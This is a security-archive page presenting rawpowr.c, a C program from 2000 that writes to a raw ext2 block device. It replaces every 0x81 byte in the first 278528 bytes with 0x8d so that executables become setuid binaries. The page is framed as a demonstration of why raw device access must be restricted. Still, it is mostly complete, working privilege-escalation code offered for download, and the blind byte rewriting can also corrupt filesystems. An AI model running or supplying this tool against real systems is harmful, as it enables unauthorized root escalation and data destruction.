what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

rawpowr.c

rawpowr.c
Posted Feb 8, 2000
Authored by Mixter | Site mixter.void.ru

rawpowr.c can access a block device containing an EXT2 file system in raw mode, changing all executables into suid executables. this demonstrates that security can easily be breached as soon as block devices are directly writable by the attacker.

SHA-256 | f5afd86837980a670a4ef1348fba298322ae697efa523ae82d8a9196380a98bf

rawpowr.c

Change Mirror Download
/*
* rawpowr 0.1, Jan 2000 by Mixter
*
* This tool will try to read inode tables from a ext2 partition in raw mode,
* and change bytes that indicate umask 755 for a file to umask 4755. It could
* be used to create suid root binaries from any files on a ext2 filesystem
* that can be written to. This demonstrates that most block devices should
* not be directly accessible by users at any time, and that systems should be
* run under a securelevel where raw access to such devices is impossible.
*
* WARNING! WARNING! WARNING! This not only performs raw operations on your
* harddisk, but also very sloppy ones (i.e. replace occurences of a special
* byte with another one, without honoring the ext2fs structure). Do NOT use
* this on active or mounted partitions! Do NOT use this on partitions with
* valuable non-backed-up data. I suggest you try this with a ext2fs floppy
* disk. I am not responsible for any damages this thingie might cause :).
*/

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>

/* This is the offset where my first file on a "virgin" ext2fs
was located. This offset is relatively tiny, and therefore, probably
only the first few binaries in the root directory get chmod +s'ed */

#define E2_DATA_START 278528
#define E2_MODE_755 '\x81'
#define E2_MODE_4755 '\x8d'

void
ewsage (char *x)
{
printf ("usage: %s <writable block device>\nthis tries to change normal files to suid binaries\n", x);
exit (0);
}

int
main (int argc, char **argv)
{
char inodes_raw[E2_DATA_START];
int effdee;
long r, i;

if (argc != 2)
ewsage (argv[0]);

(void) sync ();

printf ("rawpower by Mixter\nWarning: this program performs dangerous operations on block devices...\n\t Hit ctrl+c to terminate now!\n");
sleep (5);

if ((effdee = open (argv[1], O_RDWR)) == -1)
{
perror ("opening filesystem");
ewsage (argv[0]);
}

printf ("Reading from device...");
r = read (effdee, inodes_raw, E2_DATA_START);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".\n");

for (i = 0; i < E2_DATA_START; i++)
{
if (inodes_raw[i] == E2_MODE_755)
{
inodes_raw[i] = E2_MODE_4755;
printf ("Changing possible permission byte at offset: %ld\n", i);
}
}

lseek (effdee, 0, SEEK_SET);

printf ("Writing to device...");
i = write (effdee, inodes_raw, r);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".\n");

close (effdee);
(void) sync ();

printf ("Synching disk, done! (Now try: find /mountpoint -perm 4000)\n");

return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close